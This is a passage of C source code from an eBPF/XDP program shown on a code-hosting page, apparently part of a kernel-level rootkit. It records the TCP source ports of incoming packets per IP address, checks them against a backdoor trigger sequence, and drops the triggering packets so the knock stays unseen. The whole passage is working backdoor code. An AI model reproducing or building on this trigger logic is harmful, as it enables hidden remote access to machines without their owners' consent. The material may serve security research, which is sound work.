b_new_data_16.trigger_array[3] = b_data_16->trigger_array[3];
|
||||
b_new_data_16.trigger_array[4] = b_data_16->trigger_array[4];
|
||||
b_new_data_16.trigger_array[5] = b_data_16->trigger_array[5];
|
||||
//bpf_probe_read(&b_new_data, sizeof(struct backdoor_packet_log_data_32), b_data);
|
||||
int last_modified = b_new_data_16.last_packet_modified;
|
||||
//Yes, this is really needed to be done this way. Intervals are not sufficient
|
||||
if(last_modified != 0 && last_modified != 1 && last_modified != 2 && last_modified != 3 && last_modified != 4 && last_modified != 5){
|
||||
return XDP_PASS;
|
||||
}
|
||||
b_new_data_16.trigger_array[last_modified].src_port = tcp->source;
|
||||
bpf_map_update_elem(&backdoor_packet_log_16, &ipvalue, &b_new_data_16, BPF_ANY);
|
||||
//If it was not the first packet received, this may be the end of the backdoor sequence (even if previous packets
|
||||
//where for other purpose, we must still check it)
|
||||
int ret = manage_backdoor_trigger_v3_16(b_new_data_16);
|
||||
if(ret == 1){
|
||||
return XDP_DROP;
|
||||
}
|
||||
}
|
||||
}else{
|
||||
//Done this way to avoid verifier complains
|
||||
b_new_data_16.last_packet_modified = 0;
|
||||
b_new_data_16.trigger_array[0].src_port = tcp->source;
|
||||
bpf_map_update_elem(&backdoor_packet_log_16, &ipvalue, &b_new_data_16, BPF_ANY);
|
||||
}
|
||||
}
|
||||
//Check for the packet modification PoC
|
||||
|
||||
Reference in New Issue
Block a user